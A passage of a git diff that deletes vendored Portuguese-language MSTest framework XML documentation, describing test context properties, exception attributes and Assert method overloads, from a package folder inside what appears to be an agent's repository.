candidatas - Tipos - Modificadores de parâmetro. - Método correspondente. Nulo se nenhum corresponder. - - - - Localiza o método mais específico nos dois métodos fornecidos. - - Método 1 - Ordem de parâmetro para o Método 1 - Tipo de matriz do parâmetro. - Método 2 - Ordem de parâmetro para o Método 2 - >Tipo de matriz do parâmetro. - Tipos em que pesquisar. - Args. - Um int representando a correspondência. - - - - Localiza o método mais específico nos dois métodos fornecidos. - - Método 1 - Ordem de parâmetro para o Método 1 - Tipo de matriz do parâmetro. - Método 2 - Ordem de parâmetro para o Método 2 - >Tipo de matriz do parâmetro. - Tipos em que pesquisar. - Args. - Um int representando a correspondência. - - - - Localiza o tipo mais específico nos dois fornecidos. - - Tipo 1 - Tipo 2 - A definição de tipo - Um int representando a correspondência. - - - - Usado para armazenar informações fornecidas aos testes de unidade. - - - - - Obtém as propriedades de teste para um teste. - - - - - Obtém a linha de dados atual quando o teste é usado para teste controlado por dados. - - - - - Obtém a linha da conexão de dados atual quando o teste é usado para teste controlado por dados. - - - - - Obtém o diretório base para a execução de teste, no qual os arquivos implantados e de resultado são armazenados. - - - - - Obtém o diretório para arquivos implantados para a execução de teste. Normalmente um subdiretório de . - - - - - Obtém o diretório base para resultados da execução de teste. Normalmente um subdiretório de . - - - - - Obtém o diretório para arquivos implantados para a execução do teste. Normalmente um subdiretório de . - - - - - Obtém o diretório para os arquivos de resultado do teste. - - - - - Obtém o diretório base para a execução de teste, no qual os arquivos implantados e de resultado são armazenados. - Igual a . Use essa propriedade em vez disso. - - - - - Obtém o diretório para arquivos implantados para a execução de teste. Normalmente um subdiretório de . - Igual a . Use essa propriedade em vez disso. - - - - - Obtém o diretório para arquivos implantados para a execução do teste. Normalmente um subdiretório de . - Igual a . Use essa propriedade para os arquivos de resultado da execução de teste ou - para os arquivos de resultados específicos de teste. - - - - - Obtém o nome totalmente qualificado da classe contendo o método de teste executado no momento - - - - - Obtém o nome do método de teste executado no momento - - - - - Obtém o resultado do teste atual. - - - - - Usado para gravar mensagens de rastreamento enquanto o teste está em execução - - cadeia de caracteres da mensagem formatada - - - - Usado para gravar mensagens de rastreamento enquanto o teste está em execução - - cadeia de caracteres de formato - os argumentos - - - - Adiciona um nome de arquivo à lista em TestResult.ResultFileNames - - - O Nome do arquivo. - - - - - Inicia um timer com o nome especificado - - Nome do temporizador. - - - - Encerra um timer com o nome especificado - - Nome do temporizador. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 2b63dd5e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - O TestMethod para a execução. - - - - - Obtém o nome do método de teste. - - - - - Obtém o nome da classe de teste. - - - - - Obtém o tipo de retorno do método de teste. - - - - - Obtém os parâmetros do método de teste. - - - - - Obtém o methodInfo para o método de teste. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Invoca o método de teste. - - - Argumentos a serem passados ao método de teste. (Por exemplo, para testes controlados por dados) - - - Resultado da invocação do método de teste. - - - This call handles asynchronous test methods as well. - - - - - Obter todos os atributos do método de teste. - - - Se o atributo definido na classe pai é válido. - - - Todos os atributos. - - - - - Obter atributo de tipo específico. - - System.Attribute type. - - Se o atributo definido na classe pai é válido. - - - Os atributos do tipo especificado. - - - - - O auxiliar. - - - - - O parâmetro de verificação não nulo. - - - O parâmetro. - - - O nome do parâmetro. - - - A mensagem. - - Throws argument null exception when parameter is null. - - - - O parâmetro de verificação não nulo nem vazio. - - - O parâmetro. - - - O nome do parâmetro. - - - A mensagem. - - Throws ArgumentException when parameter is null. - - - - Enumeração para como acessamos as linhas de dados no teste controlado por dados. - - - - - As linhas são retornadas em ordem sequencial. - - - - - As linhas são retornadas em ordem aleatória. - - - - - O atributo para definir dados embutidos para um método de teste. - - - - - Inicializa uma nova instância da classe . - - O objeto de dados. - - - - Inicializa a nova instância da classe que ocupa uma matriz de argumentos. - - Um objeto de dados. - Mais dados. - - - - Obtém Dados para chamar o método de teste. - - - - - Obtém ou define o nome de exibição nos resultados de teste para personalização. - - - - - A exceção inconclusiva da asserção. - - - - - Inicializa uma nova instância da classe . - - A mensagem. - A exceção. - - - - Inicializa uma nova instância da classe . - - A mensagem. - - - - Inicializa uma nova instância da classe . - - - - - Classe InternalTestFailureException. Usada para indicar falha interna de um caso de teste - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inicializa uma nova instância da classe . - - A mensagem de exceção. - A exceção. - - - - Inicializa uma nova instância da classe . - - A mensagem de exceção. - - - - Inicializa uma nova instância da classe . - - - - - Atributo que especifica que uma exceção do tipo especificado é esperada - - - - - Inicializa uma nova instância da classe com o tipo especificado - - Tipo da exceção esperada - - - - Inicializa uma nova instância da classe com - o tipo esperado e a mensagem a ser incluída quando nenhuma exceção é gerada pelo teste. - - Tipo da exceção esperada - - Mensagem a ser incluída no resultado do teste se ele falhar por não gerar uma exceção - - - - - Obtém um valor que indica o Tipo da exceção esperada - - - - - Obtém ou define um valor que indica se é para permitir tipos derivados do tipo da exceção esperada para - qualificá-la como esperada - - - - - Obtém a mensagem a ser incluída no resultado do teste caso o teste falhe devido à não geração de uma exceção - - - - - Verifica se o tipo da exceção gerada pelo teste de unidade é esperado - - A exceção gerada pelo teste de unidade - - - - Classe base para atributos que especificam que uma exceção de um teste de unidade é esperada - - - - - Inicializa uma nova instância da classe com uma mensagem de não exceção padrão - - - - - Inicializa a nova instância da classe com uma mensagem de não exceção - - - Mensagem a ser incluída no resultado do teste se ele falhar por não gerar uma - exceção - - - - - Obtém a mensagem a ser incluída no resultado do teste caso o teste falhe devido à não geração de uma exceção - - - - - Obtém a mensagem a ser incluída no resultado do teste caso o teste falhe devido à não geração de uma exceção - - - - - Obtém a mensagem de não exceção padrão - - O nome do tipo de atributo ExpectedException - A mensagem de não exceção padrão - - - - Determina se uma exceção é esperada. Se o método é retornado, entende-se - que a exceção era esperada. Se o método gera uma exceção, entende-se - que a exceção não era esperada e a mensagem de exceção gerada - é incluída no resultado do teste. A classe pode ser usada para - conveniência. Se é usada e há falha de asserção, - o resultado do teste é definido como Inconclusivo. - - A exceção gerada pelo teste de unidade - - - - Gerar a exceção novamente se for uma AssertFailedException ou uma AssertInconclusiveException - - A exceção a ser gerada novamente se for uma exceção de asserção - - - - Essa classe é projetada para ajudar o usuário a executar o teste de unidade para os tipos que usam tipos genéricos. - GenericParameterHelper satisfaz algumas restrições comuns de tipos genéricos, - como: - 1. construtor público padrão - 2. implementa interface comum: IComparable, IEnumerable - - - - - Inicializa a nova instância da classe que - satisfaz a restrição 'newable' em genéricos C#. - - - This constructor initializes the Data property to a random value. - - - - - Inicializa a nova instância da classe que - inicializa a propriedade Data para um valor fornecido pelo usuário. - - Qualquer valor inteiro - - - - Obtém ou define Data - - - - - Executa a comparação de valores de dois objetos GenericParameterHelper - - objeto com o qual comparar - verdadeiro se o objeto tem o mesmo valor que 'esse' objeto GenericParameterHelper. - Caso contrário, falso. - - - - Retorna um código hash para esse objeto. - - O código hash. - - - - Compara os dados dos dois objetos . - - O objeto com o qual comparar. - - Um número assinado indicando os valores relativos dessa instância e valor. - - - Thrown when the object passed in is not an instance of . - - - - - Retorna um objeto IEnumerator cujo comprimento é derivado - da propriedade Data. - - O objeto IEnumerator - - - - Retorna um objeto GenericParameterHelper que é igual ao - objeto atual. - - O objeto clonado. - - - - Permite que usuários registrem/gravem rastros de testes de unidade para diagnósticos. - - - - - Manipulador para LogMessage. - - Mensagem a ser registrada. - - - - Evento a ser escutado. Acionado quando o gerador do teste de unidade escreve alguma mensagem. - Principalmente para ser consumido pelo adaptador. - - - - - API para o gravador de teste chamar Registrar mensagens. - - Formato de cadeia de caracteres com espaços reservados. - Parâmetros dos espaços reservados. - - - - Atributo TestCategory. Usado para especificar a categoria de um teste de unidade. - - - - - Inicializa a nova instância da classe e aplica a categoria ao teste. - - - A Categoria de teste. - - - - - Obtém as categorias de teste aplicadas ao teste. - - - - - Classe base para o atributo "Category" - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inicializa a nova instância da classe . - Aplica a categoria ao teste. As cadeias de caracteres retornadas por TestCategories - são usadas com o comando /category para filtrar os testes - - - - - Obtém a categoria de teste aplicada ao teste. - - - - - Classe AssertFailedException. Usada para indicar falha em um caso de teste - - - - - Inicializa uma nova instância da classe . - - A mensagem. - A exceção. - - - - Inicializa uma nova instância da classe . - - A mensagem. - - - - Inicializa uma nova instância da classe . - - - - - Uma coleção de classes auxiliares para testar várias condições nos - testes de unidade. Se a condição testada não é atendida, uma exceção - é gerada. - - - - - Obtém uma instância singleton da funcionalidade Asserção. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testa se a condição especificada é verdadeira e gera uma exceção - se a condição é falsa. - - - A condição que o teste espera ser verdadeira. - - - Thrown if is false. - - - - - Testa se a condição especificada é verdadeira e gera uma exceção - se a condição é falsa. - - - A condição que o teste espera ser verdadeira. - - - A mensagem a ser incluída na exceção quando - é falsa. A mensagem é mostrada nos resultados de teste. - - - Thrown if is false. - - - - - Testa se a condição especificada é verdadeira e gera uma exceção - se a condição é falsa. - - - A condição que o teste espera ser verdadeira. - - - A mensagem a ser incluída na exceção quando - é falsa. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is false. - - - - - Testa se a condição especificada é falsa e gera uma exceção - se a condição é verdadeira. - - - A condição que o teste espera ser falsa. - - - Thrown if is true. - - - - - Testa se a condição especificada é falsa e gera uma exceção - se a condição é verdadeira. - - - A condição que o teste espera ser falsa. - - - A mensagem a ser incluída na exceção quando - é verdadeira. A mensagem é mostrada nos resultados de teste. - - - Thrown if is true. - - - - - Testa se a condição especificada é falsa e gera uma exceção - se a condição é verdadeira. - - - A condição que o teste espera ser falsa. - - - A mensagem a ser incluída na exceção quando - é verdadeira. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is true. - - - - - Testa se o objeto especificado é nulo e gera uma exceção - caso ele não seja. - - - O objeto que o teste espera ser nulo. - - - Thrown if is not null. - - - - - Testa se o objeto especificado é nulo e gera uma exceção - caso ele não seja. - - - O objeto que o teste espera ser nulo. - - - A mensagem a ser incluída na exceção quando - não é nulo. A mensagem é mostrada nos resultados de teste. - - - Thrown if is not null. - - - - - Testa se o objeto especificado é nulo e gera uma exceção - caso ele não seja. - - - O objeto que o teste espera ser nulo. - - - A mensagem a ser incluída na exceção quando - não é nulo. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not null. - - - - - Testa se o objeto especificado é não nulo e gera uma exceção - caso ele seja nulo. - - - O objeto que o teste espera que não seja nulo. - - - Thrown if is null. - - - - - Testa se o objeto especificado é não nulo e gera uma exceção - caso ele seja nulo. - - - O objeto que o teste espera que não seja nulo. - - - A mensagem a ser incluída na exceção quando - é nulo. A mensagem é mostrada nos resultados de teste. - - - Thrown if is null. - - - - - Testa se o objeto especificado é não nulo e gera uma exceção - caso ele seja nulo. - - - O objeto que o teste espera que não seja nulo. - - - A mensagem a ser incluída na exceção quando - é nulo. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is null. - - - - - Testa se os objetos especificados se referem ao mesmo objeto e - gera uma exceção se as duas entradas não se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - Thrown if does not refer to the same object - as . - - - - - Testa se os objetos especificados se referem ao mesmo objeto e - gera uma exceção se as duas entradas não se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é o mesmo que . A mensagem é mostrada - nos resultados de teste. - - - Thrown if does not refer to the same object - as . - - - - - Testa se os objetos especificados se referem ao mesmo objeto e - gera uma exceção se as duas entradas não se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é o mesmo que . A mensagem é mostrada - nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if does not refer to the same object - as . - - - - - Testa se os objetos especificados se referem a objetos diferentes e - gera uma exceção se as duas entradas se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - Thrown if refers to the same object - as . - - - - - Testa se os objetos especificados se referem a objetos diferentes e - gera uma exceção se as duas entradas se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é o mesmo que . A mensagem é mostrada nos - resultados de teste. - - - Thrown if refers to the same object - as . - - - - - Testa se os objetos especificados se referem a objetos diferentes e - gera uma exceção se as duas entradas se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é o mesmo que . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if refers to the same object - as . - - - - - Testa se os valores especificados são iguais e gera uma exceção - se os dois valores não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trate-se do valor esperado pelo teste. - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - Thrown if is not equal to . - - - - - Testa se os valores especificados são iguais e gera uma exceção - se os dois valores não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trate-se do valor esperado pelo teste. - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se os valores especificados são iguais e gera uma exceção - se os dois valores não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trate-se do valor esperado pelo teste. - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se os valores especificados são desiguais e gera uma exceção - se os dois valores são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - Thrown if is equal to . - - - - - Testa se os valores especificados são desiguais e gera uma exceção - se os dois valores são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se os valores especificados são desiguais e gera uma exceção - se os dois valores são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se os objetos especificados são iguais e gera uma exceção - se os dois objetos não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do objeto esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - Thrown if is not equal to - . - - - - - Testa se os objetos especificados são iguais e gera uma exceção - se os dois objetos não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do objeto esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se os objetos especificados são iguais e gera uma exceção - se os dois objetos não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do objeto esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se os objetos especificados são desiguais e gera uma exceção - se os dois objetos são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - Thrown if is equal to . - - - - - Testa se os objetos especificados são desiguais e gera uma exceção - se os dois objetos são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se os objetos especificados são desiguais e gera uma exceção - se os dois objetos são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se os floats especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro float a ser comparado. Trata-se do float esperado pelo teste. - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - Thrown if is not equal to - . - - - - - Testa se os floats especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro float a ser comparado. Trata-se do float esperado pelo teste. - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - A mensagem a ser incluída na exceção quando - for diferente de por mais de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se os floats especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro float a ser comparado. Trata-se do float esperado pelo teste. - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - A mensagem a ser incluída na exceção quando - for diferente de por mais de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se os floats especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro float a ser comparado. Trata-se do float que o teste espera que não - corresponda a . - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - Thrown if is equal to . - - - - - Testa se os floats especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro float a ser comparado. Trata-se do float que o teste espera que não - corresponda a . - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - A mensagem a ser incluída na exceção quando - é igual a ou diferente por menos de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if is equal to . - - - - - Testa se os floats especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro float a ser comparado. Trata-se do float que o teste espera que não - corresponda a . - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - A mensagem a ser incluída na exceção quando - é igual a ou diferente por menos de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se os duplos especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo esperado pelo teste. - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - Thrown if is not equal to - . - - - - - Testa se os duplos especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo esperado pelo teste. - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - A mensagem a ser incluída na exceção quando - for diferente de por mais de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if is not equal to . - - - - - Testa se os duplos especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo esperado pelo teste. - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - A mensagem a ser incluída na exceção quando - for diferente de por mais de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to . - - - - - Testa se os duplos especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo que o teste espera que não - corresponda a . - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - Thrown if is equal to . - - - - - Testa se os duplos especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo que o teste espera que não - corresponda a . - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - A mensagem a ser incluída na exceção quando - é igual a ou diferente por menos de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if is equal to . - - - - - Testa se os duplos especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo que o teste espera que não - corresponda a . - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - A mensagem a ser incluída na exceção quando - é igual a ou diferente por menos de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - A mensagem a ser incluída na exceção quando - 